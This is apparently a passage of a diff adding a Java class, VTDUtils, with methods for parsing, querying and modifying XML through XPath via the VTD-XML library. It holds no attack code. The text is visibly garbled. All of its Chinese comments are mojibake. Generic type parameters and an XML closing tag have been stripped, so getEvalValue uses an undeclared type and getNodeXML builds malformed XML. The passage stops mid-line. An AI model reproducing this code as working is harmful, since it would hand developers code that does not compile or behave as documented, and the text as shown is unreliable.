+ /** + * 注æ„:使用此构造方法,需è¦æ‰‹åŠ¨è°ƒç”¨ bind(VTDNav vn) 方法绑定 VTDNav + * @see #bind(VTDNav) + */ + public VTDUtils() { + } + + /** + * 使用指定的 XML 导航器对象构建一个 VTDUtils 实例。导航器为 null 时无法完æˆæž„建。 + * @param vn + * XML导航器 + * @throws NavException + */ + public VTDUtils(VTDNav vn) throws NavException { + bind(vn); + } + + /** + * 解æžæ–‡ä»¶ + * @param filePath + * 文件路径 + * @param useNamespase + * 是å¦éœ€è¦æ”¯æŒå‘½å空间。如果确定所æ“作 XML 没有命å空间,å¯é€‰æ‹©ä¸æ”¯æŒï¼ˆå³ false),以æ高解æžé€Ÿåº¦ã€‚ + * @throws ParseException + * @throws IOException + * ; + */ + public void parseFile(String filePath, boolean useNamespase) throws ParseException, IOException { + if (vg == null) { + vg = new VTDGen(); + } + FileInputStream fis = new FileInputStream(filePath); + try { + parseFile(fis, useNamespase); + } finally { + fis.close(); + } + } + + /** + * 解æžæ–‡ä»¶ + * @param is + * æ–‡ä»¶çš„è¾“å…¥æµ + * @param useNamespase + * 是å¦éœ€è¦æ”¯æŒå‘½å空间。如果确定所æ“作 XML 没有命å空间,å¯é€‰æ‹©ä¸æ”¯æŒï¼ˆå³ false),以æ高解æžé€Ÿåº¦ã€‚ + * @throws ParseException + * @throws IOException + * ; + */ + public void parseFile(InputStream is, boolean useNamespase) throws ParseException, IOException { + if (vg == null) { + vg = new VTDGen(); + } + BufferedInputStream bis = new BufferedInputStream(is); + try { + int available = bis.available(); + ByteArrayOutputStream out = new ByteArrayOutputStream(available); + + int bufferLength = available > 1048576 ? 10485760 : 1048576; // 1048576 = 1024 * 1024 + byte[] buffer = new byte[bufferLength]; + int len = -1; + while ((len = bis.read(buffer)) > 0) { + out.write(buffer, 0, len); + } + + vg.setDoc(out.toByteArray()); + out.close(); + + vg.parse(useNamespase); + vn = vg.getNav(); + } finally { + bis.close(); + } + } + + /** + * 将一个 VTDNav 实例附加到此 VTDUtils 实例,以便之åŽå‘生的所有æ“作都是基于这个 VTDNav 实例 + * @param masterDocument + * VTDNav 实例 + * @throws NavException + */ + public void bind(VTDNav vn) throws NavException { + if (vn == null) { + throw new NavException(Messages.getString("vtdimpl.VTDUtils.logger1")); + } + this.vn = vn; + } + + /** + * 获å–当å‰å…ƒç´ èŠ‚点的æŸä¸ªå±žæ€§å€¼ã€‚如果当å‰èŠ‚点没有该属性,返回默认值。 + * @exception NavException + */ + public String getCurrentElementAttribut(String AttributName, String defaultValue) throws NavException { + int index = vn.getAttrVal(AttributName); + return index != -1 ? vn.toString(index) : defaultValue; + } + + /** + * 获å–当å‰å…ƒç´ èŠ‚点的全部属性。如果当å‰èŠ‚点没有属性,返回 null。 + * @exception XPathEvalException + * ,XPathParseException,NavException + */ + public Hashtable getCurrentElementAttributs() throws XPathParseException, XPathEvalException, + NavException { + vn.push(); + Hashtable attributes = new Hashtable(); + AutoPilot apAttributes = new AutoPilot(vn); + apAttributes.selectXPath("@*"); + + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + attributes.put(name, value); + } + apAttributes.resetXPath(); + + if (attributes.isEmpty()) { + attributes = null; + } + vn.pop(); + return attributes; + } + + /** + * 获å–所有当å‰å…ƒç´ èŠ‚点的全部属性。如果当å‰èŠ‚点没有属性,返回 null。 + * @param nsPrefix + * 需声明的å空间å‰ç¼€ï¼Œå¯ä¸ŽXML文件实际å‰ç¼€ä¸åŒã€‚ + * @param nsUrl + * 需声明的å空间地å€ï¼Œå¿…须与 XML 文件中声明的地å€ä¸€è‡´ã€‚ + * @exception XPathEvalException + * ,XPathParseException,NavException + */ + public Hashtable getCurrentElementAttributs(String nsPrefix, String nsUrl) + throws XPathParseException, XPathEvalException, NavException { + Hashtable attributes = new Hashtable(); + AutoPilot apAttributes = new AutoPilot(vn); + apAttributes.declareXPathNameSpace(nsPrefix, nsUrl); + apAttributes.selectXPath("@*"); + + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + attributes.put(name, value); + } + apAttributes.resetXPath(); + + if (attributes.isEmpty()) { + attributes = null; + } + return attributes; + } + + /** + * 获å–当å‰èŠ‚点的å称 + * @param index + * 当å‰èŠ‚点所在的索引 + * @return + * @throws NavException + */ + public String getCurrentElementName(int index) throws NavException { + return vn.toString(index); + } + + /** + * 获å–当å‰èŠ‚点的å称 + * @return + * @throws NavException + */ + public String getCurrentElementName() throws NavException { + return vn.toString(vn.getCurrentIndex()); + } + + /** + * 获å–所有当å‰å…ƒç´ èŠ‚点的全部属性。如果当å‰èŠ‚点没有属性,返回 null。 + * @param ns + * 需声明的å空间,键为地å€ï¼Œå¿…须与 XML 文件中声明的地å€ä¸€è‡´ã€‚值为å‰ç¼€ï¼Œå¯ä¸ŽXML文件实际å‰ç¼€ä¸åŒã€‚ + * @exception XPathEvalException + * ,XPathParseException,NavException + */ + public Hashtable getCurrentElementAttributs(Hashtable ns) + throws XPathParseException, XPathEvalException, NavException { + Hashtable attributes = new Hashtable(); + AutoPilot apAttributes = new AutoPilot(vn); + if (ns != null) { + Iterator nsIt = ns.keySet().iterator(); + while (nsIt.hasNext()) { + String nsUrl = nsIt.next(); + String nsPrefix = ns.get(nsUrl); + apAttributes.declareXPathNameSpace(nsPrefix, nsUrl); + } + } + + apAttributes.selectXPath("@*"); + + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + attributes.put(name, value); + } + apAttributes.resetXPath(); + + if (attributes.isEmpty()) { + attributes = null; + } + return attributes; + } + + /** + * 得到当å‰èŠ‚点的纯文本。实体会被转义。若无文本内容返回 null。 + * @exception XPathParseException + * ,XPathEvalException,NavException + */ + public String getElementPureText() throws XPathParseException, XPathEvalException, NavException { + String txtNode = "./text()"; + AutoPilot ap = new AutoPilot(vn); + StringBuilder result = new StringBuilder(); + ap.selectXPath(txtNode); + int txtIndex = -1; + boolean isNull = true; + while ((txtIndex = ap.evalXPath()) != -1) { + result.append(vn.toString(txtIndex)); + if (isNull) { + isNull = false; + } + } + + return isNull ? null : result.toString(); + } + + /** + * 得到当å‰èŠ‚点的纯文本。实体ä¸ä¼šè¢«è½¬ä¹‰ã€‚若无文本内容返回 null。 + * @exception XPathParseException + * ,XPathEvalException,NavException + */ + public String getElementRawPureText() throws XPathParseException, XPathEvalException, NavException { + String txtNode = "./text()"; + AutoPilot ap = new AutoPilot(vn); + StringBuilder result = new StringBuilder(); + ap.selectXPath(txtNode); + int txtIndex = -1; + while ((txtIndex = ap.evalXPath()) != -1) { + result.append(vn.toRawString(txtIndex)); + } + + if (result.length() == 0) { + return null; + } else { + return result.toString(); + } + } + + /** + * 得到当å‰èŠ‚点的完整内容,包å«å­èŠ‚点åŠæ–‡æœ¬ã€‚若无文本内容返回 null。 + * @throws NavException + */ + public String getElementContent() throws NavException { + String result = null; + long l = vn.getContentFragment(); + if (l == -1) { + return null; + } + + int offset = (int) l; + int len = (int) (l >> 32); + if (offset != -1 && len != -1) { + if (vn.getEncoding() > VTDNav.FORMAT_WIN_1258) { + offset = offset >> 1; + len = len >> 1; + } + result = vn.toRawString(offset, len); + } + return result; + } + + /** + * 获å–当å‰èŠ‚点下所有指定元素å称的文本内容,å«å†…部标记等å­èŠ‚点内容。 + * @param elementName + * å­èŠ‚点å称 + * @throws XPathParseException + * @throws NavException + * @throws XPathEvalException + */ + public Vector getChildrenContent(String elementName) throws XPathParseException, XPathEvalException, + NavException { + Vector texts = new Vector(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./" + elementName); + while (ap.evalXPath() != -1) { + vn.push(); + texts.add(getElementContent()); + vn.pop(); + } + + if (texts.isEmpty()) { + texts = null; + } + return texts; + } + + /** + * 获å–当å‰èŠ‚点下所有指定元素å称的文本内容,å«å†…部标记等å­èŠ‚点内容。 + * @param elementName + * å­èŠ‚点å称 + * @return String 指定å­èŠ‚点内容,无内容返回 null。 + * @throws XPathParseException + * @throws NavException + * @throws XPathEvalException + */ + public String getChildContent(String elementName) throws XPathParseException, XPathEvalException, NavException { + String text = null; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./" + elementName); + vn.push(); + if (ap.evalXPath() != -1) { + text = getElementContent(); + } + vn.pop(); + return text; + } + + /** + * 返回当å‰èŠ‚点下一级å­èŠ‚点的个数。 + * @return + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + public int getChildElementsCount() throws XPathParseException, XPathEvalException, NavException { + int result = 0; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./*"); + vn.push(); + while (ap.evalXPath() != -1) { + result++; + } + vn.pop(); + return result; + } + + /** + * 获得指定节点下一级å­èŠ‚点的个数 + * @param xpath + * 指定节点的 XPath + * @return + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + public int getChildElementsCount(String xpath) throws XPathParseException, XPathEvalException, NavException { + int result = 0; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(xpath); + vn.push(); + if (ap.evalXPath() != -1) { + result = getChildElementsCount(); + } + vn.pop(); + return result; + } + + /** + * 得到指定节点的完整内容,包å«å­èŠ‚点åŠæ–‡æœ¬ã€‚若无文本内容返回 null。 + * @param xpath + * 指定节点的XPath。 + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * @exception XPathParseException + * ,XPathEvalException,NavException + */ + public String getElementContent(String xpath) throws NavException, XPathParseException, XPathEvalException { + String text = null; + if (xpath != null && !xpath.equals("")) { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(xpath); + vn.push(); + if (ap.evalXPath() != -1) { + text = getElementContent(); + } + vn.pop(); + } + return text; + } + + /** + * 获å–绑定的 XML 导航器对象。 + */ + public VTDNav getVTDNav() { + return vn; + } + + /** + * 获å–当å‰èŠ‚点下所有指定元素å称的文本内容,å«å†…部标记等å­èŠ‚点内容。 + * @param elementName + * å­èŠ‚点å称 + * @return String 指定å­èŠ‚点内容,无内容返回 null。 + * @throws XPathParseException + * @throws XPathParseException + * @throws NavException + * @throws NavException + * @throws XPathEvalException + * @throws XPathEvalException + */ + public String getChildPureText(String elementName) throws XPathParseException, NavException, XPathEvalException { + String text = null; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./" + elementName); + vn.push(); + if (ap.evalXPath() != -1) { + text = getElementPureText(); + } + vn.pop(); + return text; + } + + /** + * 获得元素的属性值 + * @param elementXPath + * 指定元素的 XPath + * @param attributeName + * 指定属性的å称 + * @return + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + public String getElementAttribute(String elementXPath, String attributeName) throws XPathParseException, + XPathEvalException, NavException { + String text = null; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(elementXPath); + vn.push(); + if (ap.evalXPath() != -1) { + int inx = vn.getAttrVal(attributeName); + if (inx != -1) { + text = vn.toString(inx); + } + } + vn.pop(); + return text; + } + + /** + * èŽ·å¾—æ•´ä¸ªèŠ‚ç‚¹çš„æ®µè½ + * @return 整个节点的段è½ï¼Œä¾‹å¦‚:<ph id="1">a</ph> + * @throws NavException + * ; + */ + public String getElementFragment() throws NavException { + long l = vn.getElementFragment(); + int offset = (int) l; + int len = (int) (l >> 32); + + /* 区别编ç ã€‚åœ¨è§£æž UTF-16 等部分编ç çš„时候索引会å˜ä¸º2å€ã€‚ */ + if (vn.getEncoding() > VTDGen.FORMAT_WIN_1258) { + offset = offset >> 1; + len = len >> 1; + } + // 处ç†è¿™ç§æƒ…况下获å–内容错误的情况 ... 1>... robert 2012-09-13 + String fragment = vn.toRawString(offset, len); + int length = fragment.length(); + int realEndIdx = fragment.indexOf(">", fragment.lastIndexOf("<")); + if (realEndIdx != length - 1) { + fragment = fragment.substring(0, fragment.indexOf(">", fragment.lastIndexOf("<")) + 1); + } + return fragment; + } + + private static final Pattern PATTERN = Pattern.compile("<[^>]+>"); + + /** + * 获得节点的头部 + * @return 节点头部,例如:<ph id="1">a</ph>,则返回<ph id="1"> + * @throws NavException + * ; + */ + public String getElementHead() throws NavException { + String sourceFragment = getElementFragment(); // èŠ‚ç‚¹çš„æ®µè½ + Matcher matcher = PATTERN.matcher(sourceFragment); + if (matcher.find()) { + String elementHead = matcher.group(); + if (elementHead.endsWith("/>")) { + return elementHead.substring(0, elementHead.length() - 2) + ">"; + } + return elementHead; + } + return null; + } + + /** + * 得到一个节点的XMLæ ¼å¼çš„文本 + * @param name + * 节点å + * @param content + * 节点内容,值为null时表示独立节点。 + * @param props + * 节点属性 + * @return ; + */ + public static String getNodeXML(String name, String content, Hashtable props) { + if (name == null || "".equals(name)) { + return null; + } + StringBuffer xml = new StringBuffer("<"); + xml.append(name); + if (props != null && !props.isEmpty()) { + for (Entry entry : props.entrySet()) { + String key = entry.getKey(); + String value = entry.getValue(); + if (key == null || "".equals(key) || value == null) { + continue; + } + xml.append(" ").append(entry.getKey()).append("=\"").append(entry.getValue()).append("\""); + } + } + if (content == null) { + xml.append(" />"); + } else { + xml.append(">").append(content).append(""); + } + return xml.toString(); + } + + /** + * 获å–éžèŠ‚点 XPath 表达å¼è®¡ç®—的值。
    + * éžèŠ‚点 XPath:导航到的ä½ç½®ä¸æ˜¯ç®€å•çš„ XML 内容。 + *

    + * 例如“countâ€ç­‰å‡½æ•°çš„返回值。
    + * Double count = getEvalValue(Double.class, "count(//a)"); + *

    + * @param + * 结果类型 + * @param clazz + * 结果类型 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return XPath 表达å¼è®¡ç®—的值; + */ + public T getEvalValue(Class clazz, String xpath) { + return getEvalValue(clazz, null, xpath); + } + + /** + * 获å–éžèŠ‚点 XPath 表达å¼è®¡ç®—的值。
    + * éžèŠ‚点 XPath:导航到的ä½ç½®ä¸æ˜¯ç®€å•çš„ XML 内容。 + *

    + * 例如“countâ€ç­‰å‡½æ•°çš„返回值。
    + * Double count = getEvalValue(Double.class, "count(//a)"); + *

    + * @param + * 结果类型 + * @param clazz + * 结果类型 + * @param ap + * AutoPilot 实例 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return XPath 表达å¼è®¡ç®—的值; + */ + @SuppressWarnings("unchecked") + public T getEvalValue(Class clazz, AutoPilot ap, String xpath) { + if (ap == null) { + ap = new AutoPilot(vn); + } + try { + vn.push(); + ap.selectXPath(xpath); + if (String.class.equals(clazz)) { + String value; + if ((value = ap.evalXPathToString()) != null) { + return (T) value; + } + } else if (Double.class.equals(clazz)) { + Double value; + if ((value = ap.evalXPathToNumber()) != -1) { + return (T) value; + } + } else if (Boolean.class.equals(clazz)) { + Boolean value; + if ((value = ap.evalXPathToBoolean()) != false) { + return (T) value; + } + } + } catch (XPathParseException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + return null; + } + + /** + *

    + * æ ¹æ® XPath å–值(XPath 支æŒç›¸å¯¹å®šä½ï¼‰ã€‚
    + * 使用此方法时,å¯ä»¥ç»“åˆ {@link #pilot(String)} 或 {@link #pilot(AutoPilot, String)} 方法采用相对定ä½ï¼Œå¯ä»¥å¤§å¤§æ高导航效率 + *

    + * 注æ„在XPath基础上,添加关键字“[name]â€ã€â€œpuretext()â€çš„支æŒï¼š
  • [name]:用于å–得指定属性å称,例如,/a/@*[name] å–å¾— a 节点下所有属性的åå­—
  • + * puretext():用于å–得指定节点的纯文本内容(排除å­èŠ‚点),例如,/a/puretext() å–å¾— a 节点的纯文本内容
  • + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return XPath 得到的值; + */ + public String getValue(String xpath) { + return getValue(null, xpath, null); + } + + /** + *

    + * æ ¹æ® XPath å–值(XPath 支æŒç›¸å¯¹å®šä½ï¼‰ã€‚
    + * 使用此方法时,å¯ä»¥ç»“åˆ {@link #pilot(String)} 或 {@link #pilot(AutoPilot, String)} 方法采用相对定ä½ï¼Œå¯ä»¥å¤§å¤§æ高导航效率 + *

    + * 注æ„在XPath基础上,添加关键字“[name]â€ã€â€œpuretext()â€çš„支æŒï¼š
  • [name]:用于å–得指定属性å称,例如,/a/@*[name] å–å¾— a 节点下所有属性的åå­—
  • + * puretext():用于å–得指定节点的纯文本内容(排除å­èŠ‚点),例如,/a/puretext() å–å¾— a 节点的纯文本内容
  • + * @param xpath + * XPath è¡¨è¾¾å¼ + * @param defaultValue + * 默认值 + * @return XPath 得到的值; + */ + public String getValue(String xpath, String defaultValue) { + return getValue(null, xpath, defaultValue); + } + + /** + *

    + * æ ¹æ® XPath å–值(XPath 支æŒç›¸å¯¹å®šä½ï¼‰ã€‚
    + * 使用此方法时,å¯ä»¥ç»“åˆ {@link #pilot(String)} 或 {@link #pilot(AutoPilot, String)} 方法采用相对定ä½ï¼Œå¯ä»¥å¤§å¤§æ高导航效率 + *

    + * 注æ„在XPath基础上,添加关键字“[name]â€ã€â€œpuretext()â€çš„支æŒï¼š
  • [name]:用于å–得指定属性å称,例如,/a/@*[name] å–å¾— a 节点下所有属性的åå­—
  • + * puretext():用于å–得指定节点的纯文本内容(排除å­èŠ‚点),例如,/a/puretext() å–å¾— a 节点的纯文本内容
  • + * @param ap + * AutoPilot 实例 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return XPath 得到的值; + */ + public String getValue(AutoPilot ap, String xpath) { + return getValue(ap, xpath, null); + } + + /** + *

    + * æ ¹æ® XPath å–值(XPath 支æŒç›¸å¯¹å®šä½ï¼‰ã€‚
    + * 使用此方法时,å¯ä»¥ç»“åˆ {@link #pilot(String)} 或 {@link #pilot(AutoPilot, String)} 方法采用相对定ä½ï¼Œå¯ä»¥å¤§å¤§æ高导航效率 + *

    + * 注æ„在XPath基础上,添加关键字“[name]â€ã€â€œpuretext()â€çš„支æŒï¼š
  • [name]:用于å–得指定属性å称,例如,/a/@*[name] å–å¾— a 节点下所有属性的åå­—
  • + * puretext():用于å–得指定节点的纯文本内容(排除å­èŠ‚点),例如,/a/puretext() å–å¾— a 节点的纯文本内容
  • + * @param ap + * AutoPilot 实例 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @param defaultValue + * 默认值 + * @return XPath 得到的值; + */ + public String getValue(AutoPilot ap, String xpath, String defaultValue) { + if (ap == null) { + ap = new AutoPilot(vn); + } + String value = null; + try { + vn.push(); + if (xpath.endsWith("/puretext()")) { + xpath = xpath.substring(0, xpath.length() - "/puretext()".length()); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + value = getElementPureText(); + } + } else if (xpath.endsWith("/text()")) { + xpath = xpath.substring(0, xpath.length() - "/text()".length()); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + value = getElementContent(); + } + } else { + boolean isAttrName = false; // 是å¦æ˜¯å–属性åå­— + if (xpath.endsWith("[name]")) { + xpath = xpath.substring(0, xpath.length() - "[name]".length()); + isAttrName = true; + } + + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + int type = vn.getTokenType(vn.getCurrentIndex()); + if (type == VTDNav.TOKEN_STARTING_TAG) { + long l = vn.getElementFragment(); + value = vn.toString((int) l, (int) (l >> 32)); + } else if (type == VTDNav.TOKEN_ATTR_NAME || type == VTDNav.TOKEN_ATTR_NS) { + if (isAttrName) { + value = vn.toString(vn.getCurrentIndex()); + } else { + value = vn.toString(vn.getCurrentIndex() + 1); + } + } else { + value = vn.toString(vn.getCurrentIndex()); + } + } + } + } catch (XPathParseException e) { + LOGGER.error("", e); + } catch (XPathEvalException e) { + LOGGER.error("", e); + } catch (NavException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + return value == null ? defaultValue : value; + } + + /** + * æ ¹æ® XPath å–一个集åˆçš„值。
    + * 注æ„在XPath基础上,添加关键字“[name]â€ã€â€œpuretext()â€çš„支æŒï¼š
  • [name]:用于å–得指定属性å称,例如,/a/@*[name] å–å¾— a 节点下所有属性的åå­—
  • + * puretext():用于å–得指定节点的纯文本内容(排除å­èŠ‚点),例如,/a/puretext() å–å¾— a 节点的纯文本内容
  • + * @param ap + * AutoPilot 对象 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @param isAllowRepeat + * 是å¦å…许å–值é‡å¤ã€‚ + * @return XPath 得到的值,无匹é…的值则为 null; + */ + public List getValues(AutoPilot ap, String xpath, boolean isAllowRepeat) { + if (ap == null) { + ap = new AutoPilot(vn); + } + + List values = new Vector(); + try { + vn.push(); + if (xpath.endsWith("/puretext()")) { + xpath = xpath.substring(0, xpath.length() - "/puretext()".length()); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + String strTmpValue = getElementPureText(); + if (isAllowRepeat) { + values.add(strTmpValue); + } else { + if (!values.contains(strTmpValue)) { + values.add(strTmpValue); + } + } + } + } else if (xpath.endsWith("/text()")) { + xpath = xpath.substring(0, xpath.length() - "/text()".length()); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String strTmpValue = getElementContent(); + if (isAllowRepeat) { + values.add(strTmpValue); + } else { + if (!values.contains(strTmpValue)) { + values.add(strTmpValue); + } + } + } + } else { + boolean isAttrName = false; + if (xpath.endsWith("[name]")) { + xpath = xpath.substring(0, xpath.length() - "[name]".length()); + isAttrName = true; + } + + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + int type = vn.getTokenType(vn.getCurrentIndex()); + if (type == VTDNav.TOKEN_STARTING_TAG) { + long l = vn.getElementFragment(); + String strTmpValue = vn.toString((int) l, (int) (l >> 32)); + if (isAllowRepeat) { + values.add(strTmpValue); + } else { + if (!values.contains(strTmpValue)) { + values.add(strTmpValue); + } + } + } else if (type == VTDNav.TOKEN_ATTR_NAME || type == VTDNav.TOKEN_ATTR_NS) { + String strTmpValue; + if (isAttrName) { + strTmpValue = vn.toString(vn.getCurrentIndex()); + } else { + strTmpValue = vn.toString(vn.getCurrentIndex() + 1); + } + if (isAllowRepeat) { + values.add(strTmpValue); + } else { + if (!values.contains(strTmpValue)) { + values.add(strTmpValue); + } + } + } else { + String strTmpValue = vn.toString(vn.getCurrentIndex()); + if (isAllowRepeat) { + values.add(strTmpValue); + } else { + if (!values.contains(strTmpValue)) { + values.add(strTmpValue); + } + } + } + } + } + } catch (XPathParseException e) { + LOGGER.error("", e); + } catch (XPathEvalException e) { + LOGGER.error("", e); + } catch (NavException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + + if (values.size() == 0) { + values = null; + } + return values; + } + + /** + * æ ¹æ® XPath å–一个ä¸åŒ…å«é‡å¤å€¼çš„集åˆã€‚
    + * 注æ„在XPath基础上,添加关键字“[name]â€ã€â€œpuretext()â€çš„支æŒï¼š
  • [name]:用于å–得指定属性å称,例如,/a/@*[name] å–å¾— a 节点下所有属性的åå­—
  • + * puretext():用于å–得指定节点的纯文本内容(排除å­èŠ‚点),例如,/a/puretext() å–å¾— a 节点的纯文本内容
  • + * @param ap + * AutoPilot 对象 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return XPath 得到的值,无匹é…的值则为 null; + */ + public List getValues(AutoPilot ap, String xpath) { + return getValues(ap, xpath, false); + } + + /** + * æ ¹æ® XPath å–一个ä¸åŒ…å«é‡å¤å€¼çš„集åˆã€‚
    + * 注æ„在XPath基础上,添加关键字“[name]â€ã€â€œpuretext()â€çš„支æŒï¼š
  • [name]:用于å–得指定属性å称,例如,/a/@*[name] å–å¾— a 节点下所有属性的åå­—
  • + * puretext():用于å–得指定节点的纯文本内容(排除å­èŠ‚点),例如,/a/puretext() å–å¾— a 节点的纯文本内容
  • + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return XPath 得到的值,无匹é…的值则为 null; + */ + public List getValues(String xpath) { + return getValues(null, xpath, false); + } + + /** + * 删除 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @return XMLModifier 实例; + */ + public XMLModifier delete(String xpath) { + return delete(null, null, xpath); + } + + /** + * 删除 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @param condition + * 本次æ“作的é™å®šæ¡ä»¶ + * @return XMLModifier 实例; + */ + public XMLModifier delete(String xpath, int condition) { + return delete(null, null, xpath, condition); + } + + /** + * 删除 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param ap + * AutoPilot 实例 + * @param xm + * XMLModifier 实例 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @return XMLModifier 实例; + */ + public XMLModifier delete(AutoPilot ap, XMLModifier xm, String xpath) { + return update(ap, xm, xpath, null, 0); // 默认åªå¯¼èˆªä¸€æ¬¡ + } + + /** + * 删除 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param ap + * AutoPilot 实例 + * @param xm + * XMLModifier 实例 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @param condition + * 本次æ“作的é™å®šæ¡ä»¶ + * @return XMLModifier 实例; + */ + public XMLModifier delete(AutoPilot ap, XMLModifier xm, String xpath, int condition) { + return update(ap, xm, xpath, null, condition); + } + + /** + * 修改 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @return XMLModifier 实例; + */ + public XMLModifier update(String xpath, String newValue) { + return update(null, null, xpath, newValue); + } + + /** + * 修改 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @param condition + * 本次æ“作的é™å®šæ¡ä»¶ + * @return XMLModifier 实例; + */ + public XMLModifier update(String xpath, String newValue, int condition) { + return update(null, null, xpath, newValue, condition); + } + + /** + * 修改 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param ap + * AutoPilot 实例 + * @param xm + * XMLModifier 实例 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @return XMLModifier 实例; + */ + public XMLModifier update(AutoPilot ap, XMLModifier xm, String xpath, String newValue) { + return update(ap, xm, xpath, newValue, 0); // 默认åªå¯¼èˆªä¸€æ¬¡ + } + + /** + * 修改 XPath 表达å¼æ‰€å®šä½åˆ°çš„内容 + * @param ap + * AutoPilot 实例 + * @param xm + * XMLModifier 实例 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @param condition + * 本次æ“作的é™å®šæ¡ä»¶ + * @return XMLModifier 实例; + */ + public XMLModifier update(AutoPilot ap, XMLModifier xm, String xpath, String newValue, int condition) { + return handleXML(ap, xm, xpath, newValue, condition, true); + } + + /** + * å¤„ç† XPath 表达å¼æ‰€å®šä½åˆ°çš„ XML 内容 + * @param ap + * AutoPilot 实例 + * @param xm + * XMLModifier 实例 + * @param xpath + * xpathè¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @param condition + * 本次æ“作的é™å®šæ¡ä»¶ + * @return XMLModifier 实例; + */ + private XMLModifier handleXML(AutoPilot ap, XMLModifier xm, String xpath, String newValue, int condition, + boolean remove) { + try { + vn.push(); + if (ap == null) { + ap = new AutoPilot(vn); + } + if (xm == null) { + xm = new XMLModifier(vn); + } + boolean pilotToEnd = (condition & PILOT_TO_END) != 0; + boolean isContent = false; + if (xpath.endsWith("/text()")) { // æ“作的是内容节点。 + xpath = xpath.substring(0, xpath.length() - "/text()".length()); + isContent = true; + } + ap.selectXPath(xpath); + boolean exist = false; + while (ap.evalXPath() != -1) { + exist = true; + long contentFragment = vn.getContentFragment(); + + int currentIndex = vn.getCurrentIndex(); + int type = vn.getTokenType(currentIndex); + if (remove || newValue == null) { // newValue 为 null,执行移除æ“作 + if (isContent) { + if (contentFragment != -1) { // 执行删除 + xm.remove(contentFragment); // 删除内容 + } + } else { + // 属性节点ä¸æ‰§è¡Œåˆ é™¤ï¼Œé™¤éžè°ƒç”¨ delete 方法(判断是å¦è°ƒç”¨ delete 方法的ä¾æ®æ˜¯ï¼ŒnewValue 是å¦ä¸º null) + if ((type != VTDNav.TOKEN_ATTR_NAME && type != VTDNav.TOKEN_ATTR_NS) || newValue == null) { + xm.remove(); // 删除节点 + } + } + } + + if (newValue != null) { // 执行修改 + if (isContent) { + xm.insertBeforeTail(newValue.getBytes(getCharsetByEncoding())); + } else { + if (type == VTDNav.TOKEN_STARTING_TAG) { + xm.insertAfterElement(newValue); + } else if (type == VTDNav.TOKEN_ATTR_NAME || type == VTDNav.TOKEN_ATTR_NS) { + xm.updateToken(currentIndex + 1, newValue); + } else { + xm.updateToken(currentIndex, newValue.getBytes()); + } + } + } + + if (!pilotToEnd) { // ä¸éœ€è¦å¯¼èˆªåˆ° XML 末尾,åœæ­¢å¾ªçŽ¯ + break; + } + } + boolean createIfNotExist = (condition & CREATE_IF_NOT_EXIST) != 0; + if (!exist && createIfNotExist) { // 如果ä¸å­˜åœ¨å¹¶ä¸”需è¦åˆ›å»º + int lastSeperator = xpath.lastIndexOf("/"); + String nodeName = xpath.substring(lastSeperator + 1); + xpath = xpath.substring(0, lastSeperator); // 截掉最åŽä¸€éƒ¨åˆ† + if (nodeName.startsWith("@")) { + nodeName = nodeName.substring(1); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + insertAttribute(xm, nodeName, newValue); // æ’入属性 + if (!pilotToEnd) { // ä¸éœ€è¦å¯¼èˆªåˆ° XML 末尾,åœæ­¢å¾ªçŽ¯ + break; + } + } + } else { + if (isContent) { // 如果改动的是节点内容 + newValue = 